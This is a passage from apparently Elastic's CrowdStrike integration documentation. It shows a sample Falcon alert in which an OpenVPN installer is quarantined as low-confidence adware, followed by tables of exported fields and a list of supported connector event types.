45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", + "severity": 21, + "type": [ + "start" + ] + }, + "file": { + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" + }, + "host": { + "domain": "ABC.LOCAL", + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "ip": [ + "81.2.69.142" + ], + "mac": [ + "AB-21-48-61-05-B2" + ], + "os": { + "full": "Windows11", + "platform": "Windows", + "type": "windows" + } + }, + "input": { + "type": "cel" + }, + "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "process": { + "end": "2023-11-03T18:00:21.000Z", + "entity_id": "399748687993", + "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "hash": { + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + }, + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "parent": { + "command_line": "C:\\WINDOWS\\Explorer.EXE", + "entity_id": "392736520876", + "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "hash": { + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" + }, + "name": "explorer.exe", + "pid": 392736520876 + }, + "pid": 399748687993, + "start": "2023-11-03T18:00:13.000Z", + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + "related": { + "hash": [ + "b07f77fd3f9828b2c9d61f8a36609741", + "cdf9cfebb400ce89d5b6032bfcdc693b", + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "8cc3fcdd7d52d2d5221303c213e044ae", + "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "0000000000000000000000000000000000000000" + ], + "hosts": [ + "ABC.LOCAL", + "ABC709-1175" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "S-1-5-21-1909377054-3469629671-4104191496-4425", + "yuvraj.mahajan", + "mohit.jha" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "forwarded", + "crowdstrike-alert" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0004" + ], + "name": [ + "MachineLearning" + ] + }, + "technique": { + "id": [ + "CST0000" + ], + "name": [ + "Adware/PUP" + ] + } + }, + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } +} +``` + +**Exported fields** + +| Field | Description | Type | +|---|---|---| +| @timestamp | Event timestamp. | date | +| crowdstrike.alert.active_directory_authentication_method | | long | +| crowdstrike.alert.activity.browser | | keyword | +| crowdstrike.alert.activity.device | | keyword | +| crowdstrike.alert.activity.id | | keyword | +| crowdstrike.alert.activity.os | | keyword | +| crowdstrike.alert.agent_id | | keyword | +| crowdstrike.alert.agent_scan_id | | keyword | +| crowdstrike.alert.aggregate_id | | keyword | +| crowdstrike.alert.alert_attributes | | long | +| crowdstrike.alert.alleged_filetype | | keyword | +| crowdstrike.alert.assigned_to.name | | keyword | +| crowdstrike.alert.assigned_to.uid | | keyword | +| crowdstrike.alert.assigned_to.uuid | | keyword | +| crowdstrike.alert.associated_files.filepath | | keyword | +| crowdstrike.alert.associated_files.sha256 | | keyword | +| crowdstrike.alert.child_process_ids | | keyword | +| crowdstrike.alert.cid | | keyword | +| crowdstrike.alert.cloud_indicator | | boolean | +| crowdstrike.alert.cmdline | | keyword | +| crowdstrike.alert.command_line | | keyword | +| crowdstrike.alert.comment | | keyword | +| crowdstrike.alert.composite_id | | keyword | +| crowdstrike.alert.confidence | | long | +| crowdstrike.alert.context_timestamp | | date | +| crowdstrike.alert.control_graph_id | | keyword | +| crowdstrike.alert.crawl_edge_ids.Sensor | | keyword | +| crowdstrike.alert.crawl_vertex_ids.Sensor | | keyword | +| crowdstrike.alert.crawled_timestamp | | date | +| crowdstrike.alert.created_timestamp | | date | +| crowdstrike.alert.data_domains | | keyword | +| crowdstrike.alert.description | | keyword | +| crowdstrike.alert.detect_type | | keyword | +| crowdstrike.alert.device.agent_load_flags | | long | +| crowdstrike.alert.device.agent_local_time | | date | +| crowdstrike.alert.device.agent_version | | keyword | +| crowdstrike.alert.device.bios_manufacturer | | keyword | +| crowdstrike.alert.device.bios_version | | keyword | +| crowdstrike.alert.device.cid | | keyword | +| crowdstrike.alert.device.config_id_base | | keyword | +| crowdstrike.alert.device.config_id_build | | keyword | +| crowdstrike.alert.device.config_id_platform | | long | +| crowdstrike.alert.device.external_ip | | ip | +| crowdstrike.alert.device.first_seen | | date | +| crowdstrike.alert.device.groups | | keyword | +| crowdstrike.alert.device.hostinfo.active_directory_dn_display | | keyword | +| crowdstrike.alert.device.hostinfo.domain | | keyword | +| crowdstrike.alert.device.hostname | | keyword | +| crowdstrike.alert.device.id | | keyword | +| crowdstrike.alert.device.last_seen | | date | +| crowdstrike.alert.device.local_ip | | ip | +| crowdstrike.alert.device.mac_address | | keyword | +| crowdstrike.alert.device.machine_domain | | keyword | +| crowdstrike.alert.device.major_version | | keyword | +| crowdstrike.alert.device.minor_version | | keyword | +| crowdstrike.alert.device.modified_timestamp | | date | +| crowdstrike.alert.device.os_version | | keyword | +| crowdstrike.alert.device.ou | | keyword | +| crowdstrike.alert.device.platform_id | | keyword | +| crowdstrike.alert.device.platform_name | | keyword | +| crowdstrike.alert.device.pod_labels | | keyword | +| crowdstrike.alert.device.product_type | | keyword | +| crowdstrike.alert.device.product_type_desc | | keyword | +| crowdstrike.alert.device.site_name | | keyword | +| crowdstrike.alert.device.status | | keyword | +| crowdstrike.alert.device.system_manufacturer | | keyword | +| crowdstrike.alert.device.system_product_name | | keyword | +| crowdstrike.alert.device.tags | | keyword | +| crowdstrike.alert.display_name | | keyword | +| crowdstrike.alert.documents_accessed.filename | | keyword | +| crowdstrike.alert.documents_accessed.filepath | | keyword | +| crowdstrike.alert.documents_accessed.timestamp | | date | +| crowdstrike.alert.email_sent | | boolean | +| crowdstrike.alert.end_time | | date | +| crowdstrike.alert.event_id | | keyword | +| crowdstrike.alert.executables_written.filename | | keyword | +| crowdstrike.alert.executables_written.filepath | | keyword | +| crowdstrike.alert.executables_written.timestamp | | date | +| crowdstrike.alert.falcon_host_link | | keyword | +| crowdstrike.alert.file_writes.name | | keyword | +| crowdstrike.alert.file_writes.sha256 | | keyword | +| crowdstrike.alert.filename | | keyword | +| crowdstrike.alert.filepath | | keyword | +| crowdstrike.alert.files_accessed.filename | | keyword | +| crowdstrike.alert.files_accessed.filepath | | keyword | +| crowdstrike.alert.files_accessed.timestamp | | date | +| crowdstrike.alert.files_written.filename | | keyword | +| crowdstrike.alert.files_written.filepath | | keyword | +| crowdstrike.alert.files_written.timestamp | | date | +| crowdstrike.alert.global_prevalence | | keyword | +| crowdstrike.alert.grandparent_details.cmdline | | keyword | +| crowdstrike.alert.grandparent_details.filename | | keyword | +| crowdstrike.alert.grandparent_details.filepath | | keyword | +| crowdstrike.alert.grandparent_details.local_process_id | | keyword | +| crowdstrike.alert.grandparent_details.md5 | | keyword | +| crowdstrike.alert.grandparent_details.process_graph_id | | keyword | +| crowdstrike.alert.grandparent_details.process_id | | keyword | +| crowdstrike.alert.grandparent_details.sha256 | | keyword | +| crowdstrike.alert.grandparent_details.timestamp | | date | +| crowdstrike.alert.grandparent_details.user_graph_id | | keyword | +| crowdstrike.alert.grandparent_details.user_id | | keyword | +| crowdstrike.alert.grandparent_details.user_name | | keyword | +| crowdstrike.alert.has_script_or_module_ioc | | boolean | +| crowdstrike.alert.host_name | | keyword | +| crowdstrike.alert.host_type | | keyword | +| crowdstrike.alert.id | | keyword | +| crowdstrike.alert.idp_policy.enforced_externally | | long | +| crowdstrike.alert.idp_policy.mfa_factor_type | | long | +| crowdstrike.alert.idp_policy.mfa_provider | | long | +| crowdstrike.alert.idp_policy.rule_action | | long | +| crowdstrike.alert.idp_policy.rule_id | | keyword | +| crowdstrike.alert.idp_policy.rule_name | | keyword | +| crowdstrike.alert.idp_policy.rule_trigger | | long | +| crowdstrike.alert.image_file_name | | keyword | +| crowdstrike.alert.incident.created | | date | +| crowdstrike.alert.incident.end | | date | +| crowdstrike.alert.incident.id | | keyword | +| crowdstrike.alert.incident.score | | double | +| crowdstrike.alert.incident.start | | date | +| crowdstrike.alert.indicator_id | | keyword | +| crowdstrike.alert.ioc_context.cmdline | | keyword | +| crowdstrike.alert.ioc_context.ioc_description | | keyword | +| crowdstrike.alert.ioc_context.ioc_source | | keyword | +| crowdstrike.alert.ioc_context.ioc_type | | keyword | +| crowdstrike.alert.ioc_context.ioc_value | | keyword | +| crowdstrike.alert.ioc_context.md5 | | keyword | +| crowdstrike.alert.ioc_context.sha256 | | keyword | +| crowdstrike.alert.ioc_context.type | | keyword | +| crowdstrike.alert.ioc_description | | keyword | +| crowdstrike.alert.ioc_source | | keyword | +| crowdstrike.alert.ioc_type | | keyword | +| crowdstrike.alert.ioc_value | | keyword | +| crowdstrike.alert.ioc_values | | keyword | +| crowdstrike.alert.is_synthetic_quarantine_disposition | | boolean | +| crowdstrike.alert.ldap_search_query_attack | | long | +| crowdstrike.alert.local_prevalence | | keyword | +| crowdstrike.alert.local_process_id | | keyword | +| crowdstrike.alert.location_country_code | | keyword | +| crowdstrike.alert.location_latitude_as_int | | long | +| crowdstrike.alert.location_longitude_as_int | | long | +| crowdstrike.alert.logon_domain | | keyword | +| crowdstrike.alert.md5 | | keyword | +| crowdstrike.alert.model_anomaly_indicators | | keyword | +| crowdstrike.alert.name | | keyword | +| crowdstrike.alert.network_accesses.access_timestamp | | date | +| crowdstrike.alert.network_accesses.access_type | | long | +| crowdstrike.alert.network_accesses.connection_direction | | keyword | +| crowdstrike.alert.network_accesses.isIPV6 | | boolean | +| crowdstrike.alert.network_accesses.local_address | | ip | +| crowdstrike.alert.network_accesses.local_port | | long | +| crowdstrike.alert.network_accesses.protocol | | keyword | +| crowdstrike.alert.network_accesses.remote_address | | ip | +| crowdstrike.alert.network_accesses.remote_port | | long | +| crowdstrike.alert.objective | | keyword | +| crowdstrike.alert.operating_system | | keyword | +| crowdstrike.alert.os_name | | keyword | +| crowdstrike.alert.overwatch_note | | keyword | +| crowdstrike.alert.overwatch_note_timestamp | | date | +| crowdstrike.alert.parent_details.cmdline | | keyword | +| crowdstrike.alert.parent_details.filename | | keyword | +| crowdstrike.alert.parent_details.filepath | | keyword | +| crowdstrike.alert.parent_details.local_process_id | | keyword | +| crowdstrike.alert.parent_details.md5 | | keyword | +| crowdstrike.alert.parent_details.process_graph_id | | keyword | +| crowdstrike.alert.parent_details.process_id | | keyword | +| crowdstrike.alert.parent_details.sha256 | | keyword | +| crowdstrike.alert.parent_details.timestamp | | date | +| crowdstrike.alert.parent_details.user_graph_id | | keyword | +| crowdstrike.alert.parent_details.user_id | | keyword | +| crowdstrike.alert.parent_details.user_name | | keyword | +| crowdstrike.alert.parent_process_id | | keyword | +| crowdstrike.alert.pattern_disposition | | long | +| crowdstrike.alert.pattern_disposition_description | | keyword | +| crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled | | boolean | +| crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled | | boolean | +| crowdstrike.alert.pattern_disposition_details.containment_file_system | | boolean | +| crowdstrike.alert.pattern_disposition_details.critical_process_disabled | | boolean | +| crowdstrike.alert.pattern_disposition_details.detect | | boolean | +| crowdstrike.alert.pattern_disposition_details.fs_operation_blocked | | boolean | +| crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded | | boolean | +| crowdstrike.alert.pattern_disposition_details.inddet_mask | | boolean | +| crowdstrike.alert.pattern_disposition_details.indicator | | boolean | +| crowdstrike.alert.pattern_disposition_details.kill_action_failed | | boolean | +| crowdstrike.alert.pattern_disposition_details.kill_parent | | boolean | +| crowdstrike.alert.pattern_disposition_details.kill_process | | boolean | +| crowdstrike.alert.pattern_disposition_details.kill_subprocess | | boolean | +| crowdstrike.alert.pattern_disposition_details.mfa_required | | boolean | +| crowdstrike.alert.pattern_disposition_details.operation_blocked | | boolean | +| crowdstrike.alert.pattern_disposition_details.policy_disabled | | boolean | +| crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled | | boolean | +| crowdstrike.alert.pattern_disposition_details.process_blocked | | boolean | +| crowdstrike.alert.pattern_disposition_details.quarantine_file | | boolean | +| crowdstrike.alert.pattern_disposition_details.quarantine_machine | | boolean | +| crowdstrike.alert.pattern_disposition_details.registry_operation_blocked | | boolean | +| crowdstrike.alert.pattern_disposition_details.response_action_already_applied | | boolean | +| crowdstrike.alert.pattern_disposition_details.response_action_failed | | boolean | +| crowdstrike.alert.pattern_disposition_details.response_action_triggered | | boolean | +| crowdstrike.alert.pattern_disposition_details.rooting | | boolean | +| crowdstrike.alert.pattern_disposition_details.sensor_only | | boolean | +| crowdstrike.alert.pattern_disposition_details.suspend_parent | | boolean | +| crowdstrike.alert.pattern_disposition_details.suspend_process | | boolean | +| crowdstrike.alert.pattern_id | | keyword | +| crowdstrike.alert.platform | | keyword | +| crowdstrike.alert.poly_id | | keyword | +| crowdstrike.alert.prevented | | boolean | +| crowdstrike.alert.process_end_time | | date | +| crowdstrike.alert.process_id | | keyword | +| crowdstrike.alert.process_start_time | | date | +| crowdstrike.alert.product | | keyword | +| crowdstrike.alert.protocol_anomaly_classification | | long | +| crowdstrike.alert.quarantined | | boolean | +| crowdstrike.alert.quarantined_files.filename | | keyword | +| crowdstrike.alert.quarantined_files.id | | keyword | +| crowdstrike.alert.quarantined_files.sha256 | | keyword | +| crowdstrike.alert.quarantined_files.state | | keyword | +| crowdstrike.alert.rule_group_id | | keyword | +| crowdstrike.alert.rule_group_name | | keyword | +| crowdstrike.alert.rule_instance_created_by | | keyword | +| crowdstrike.alert.rule_instance_id | | keyword | +| crowdstrike.alert.rule_instance_name | | keyword | +| crowdstrike.alert.rule_instance_version | | keyword | +| crowdstrike.alert.scan_id | | keyword | +| crowdstrike.alert.scenario | | keyword | +| crowdstrike.alert.seconds_to_resolved | | long | +| crowdstrike.alert.seconds_to_triaged | | long | +| crowdstrike.alert.severity | | long | +| crowdstrike.alert.severity_name | | keyword | +| crowdstrike.alert.sha1 | | keyword | +| crowdstrike.alert.sha256 | | keyword | +| crowdstrike.alert.show_in_ui | | boolean | +| crowdstrike.alert.source.account_azure_id | | keyword | +| crowdstrike.alert.source.account_domain | | keyword | +| crowdstrike.alert.source.account_name | | keyword | +| crowdstrike.alert.source.account_object_guid | | keyword | +| crowdstrike.alert.source.account_object_sid | | keyword | +| crowdstrike.alert.source.account_sam_account_name | | keyword | +| crowdstrike.alert.source.account_upn | | keyword | +| crowdstrike.alert.source.endpoint_account_object_guid | | keyword | +| crowdstrike.alert.source.endpoint_account_object_sid | | keyword | +| crowdstrike.alert.source.endpoint_address_ip4 | | ip | +| crowdstrike.alert.source.endpoint_host_name | | keyword | +| crowdstrike.alert.source.endpoint_ip_address | | ip | +| crowdstrike.alert.source.endpoint_ip_reputation | | long | +| crowdstrike.alert.source.endpoint_sensor_id | | keyword | +| crowdstrike.alert.source.ip_isp_classification | | long | +| crowdstrike.alert.source.ip_isp_domain | | keyword | +| crowdstrike.alert.source_products | | keyword | +| crowdstrike.alert.source_vendors | | keyword | +| crowdstrike.alert.start_time | | date | +| crowdstrike.alert.status | | keyword | +| crowdstrike.alert.tactic | | keyword | +| crowdstrike.alert.tactic_id | | keyword | +| crowdstrike.alert.tags | | keyword | +| crowdstrike.alert.target.account_name | | keyword | +| crowdstrike.alert.target.domain_controller_host_name | | keyword | +| crowdstrike.alert.target.domain_controller_object_guid | | keyword | +| crowdstrike.alert.target.domain_controller_object_sid | | keyword | +| crowdstrike.alert.target.endpoint_account_object_guid | | keyword | +| crowdstrike.alert.target.endpoint_account_object_sid | | keyword | +| crowdstrike.alert.target.endpoint_host_name | | keyword | +| crowdstrike.alert.target.endpoint_sensor_id | | keyword | +| crowdstrike.alert.target.service_access_identifier | | keyword | +| crowdstrike.alert.technique | | keyword | +| crowdstrike.alert.technique_id | | keyword | +| crowdstrike.alert.template_instance_id | | keyword | +| crowdstrike.alert.timestamp | | date | +| crowdstrike.alert.tree_id | | keyword | +| crowdstrike.alert.tree_root | | keyword | +| crowdstrike.alert.triggering_process_graph_id | | keyword | +| crowdstrike.alert.type | | keyword | +| crowdstrike.alert.updated_timestamp | | date | +| crowdstrike.alert.user_id | | keyword | +| crowdstrike.alert.user_name | | keyword | +| crowdstrike.alert.user_principal | | keyword | +| crowdstrike.alert.worker_node_name | | keyword | +| data_stream.dataset | Data stream dataset. | constant_keyword | +| data_stream.namespace | Data stream namespace. | constant_keyword | +| data_stream.type | Data stream type. | constant_keyword | +| event.dataset | Event dataset. | constant_keyword | +| event.module | Event module. | constant_keyword | +| input.type | Type of filebeat input. | keyword | +| log.offset | Log offset. | long | +| tags | List of keywords used to tag each event. | keyword | +| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword | +| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword | +| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword | + + +### Falcon + +Contains endpoint data and CrowdStrike Falcon platform audit data forwarded from Falcon SIEM Connector. + +#### Falcon SIEM Connector configuration file + +By default, the configuration file located at `/opt/crowdstrike/etc/cs.falconhoseclient.cfg` provides configuration options related to the events collected by Falcon SIEM Connector. + +Parts of the configuration file called `EventTypeCollection` and `EventSubTypeCollection` provides a list of event types that the connector should collect. + +Current supported event types are: +- CustomerIOCEvent +- DataProtectionDetectionSummaryEvent +- DetectionSummaryEvent +- EppDetectionSummaryEvent +- IncidentSummaryEvent +- UserActivityAuditEvent +- AuthActivityAuditEvent +- FirewallMatchEvent +- RemoteResponseSessionStartEvent +- RemoteResponseSessionEndEvent +- CSPM Streaming events +- CSPM Search events +- IDP Incidents +- IDP Summary events +- Mobile Detection events +- Recon Notification events +- XDR Detection events +- Scheduled Report Notification events + +**Exported fields** + +| Field | Description | Type | +|---|---|---| +| @timestamp | Event timestamp. | date | +| agent.id | Unique identifier of this agent (if one exists). Example: For Beats this would be beat.id. | keyword | +| agent.name | Custom name of the agent. This is a name that can be given to an agent. This can be helpful if for example two Filebeat instances are running on the same host but a human readable separation is needed on which Filebeat instance data is coming from. | keyword | +| agent.type | Type of the agent. The agent type always stays the same and should be given by the agent used. In case of Filebeat the agent would always be Filebeat also if two Filebeat instances are run on the same machine. | keyword | +| agent.version | Version of the agent. | keyword | +| cloud.image.id | Image ID for the cloud instance. | keyword | +| crowdstrike.event.AccountCreationTimeStamp | The timestamp of when the source account was created in Active Directory. | date | +| crowdstrike.event.AccountId | | keyword | +| crowdstrike.event.ActivityId | ID of the activity that triggered the detection. | keyword | +| crowdstrike.event.AddedPrivilege | The difference between their current and previous list of privileges. | keyword | +| crowdstrike.event.AdditionalAccountObjectGuid | Additional involved user object GUID. | keyword | +| crowdstrike.event.AdditionalAccountObjectSid | Additional involved user object SID. | keyword | +| crowdstrike.event.AdditionalAccountUpn | Additional involved user UPN. | keyword | +| crowdstrike.event.AdditionalActivityId | ID of an additional activity related to the detection. | keyword | +| crowdstrike.event.AdditionalEndpointAccountObjectGuid | Additional involved endpoint object GUID. | keyword | +| crowdstrike.event.AdditionalEndpointAccountObjectSid | Additional involved endpoint object SID. | keyword | +| crowdstrike.event.AdditionalEndpointSensorId | Additional involved endpoint agent ID. | keyword | +| crowdstrike.event.AdditionalLocationCountryCode | Additional involved country code. | keyword | +| crowdstrike.event.AdditionalSsoApplicationIdentifier | Additional application identifier. | keyword | +| crowdstrike.event.AgentId | | keyword | +| crowdstrike.event.AgentIdString | | keyword | +| crowdstrike.event.AggregateId | | keyword | +| crowdstrike.event.AnodeIndicators | | nested | +| crowdstrike.event.AnomalousTicketContentClassification | Ticket signature analysis. | keyword | +| crowdstrike.event.AssociatedFile | The file associated with the triggering indicator. | keyword | +| crowdstrike.event.Attributes | JSON objects containing additional information about the event. | flattened | +| crowdstrike.event.AuditKeyValues | Fields that were changed in this event. | nested | +| crowdstrike.event.AuditKeyValues.Key | | keyword | +| crowdstrike.event.AuditKeyValues.ValueString | | keyword | +| crowdstrike.event.Category | IDP incident category. | keyword | +| crowdstrike.event.CertificateTemplateIdentifier | The ID of the certificate template. | keyword | +| crowdstrike.event.CertificateTemplateName | Name of the certificate template. | keyword | +| crowdstrike.event.Certificates | Provides one or more JSON objects which includes related SSL/TLS Certificates. | nested | +| crowdstrike.event.CloudPlatform | | keyword | +| crowdstrike.event.CloudProvider | | keyword | +| crowdstrike.event.CloudService | | keyword | +| crowdstrike.event.Commands | Commands run in a remote session. | keyword | +| crowdstrike.event.CompositeId | Global unique identifier that identifies a unique alert. | keyword | +| 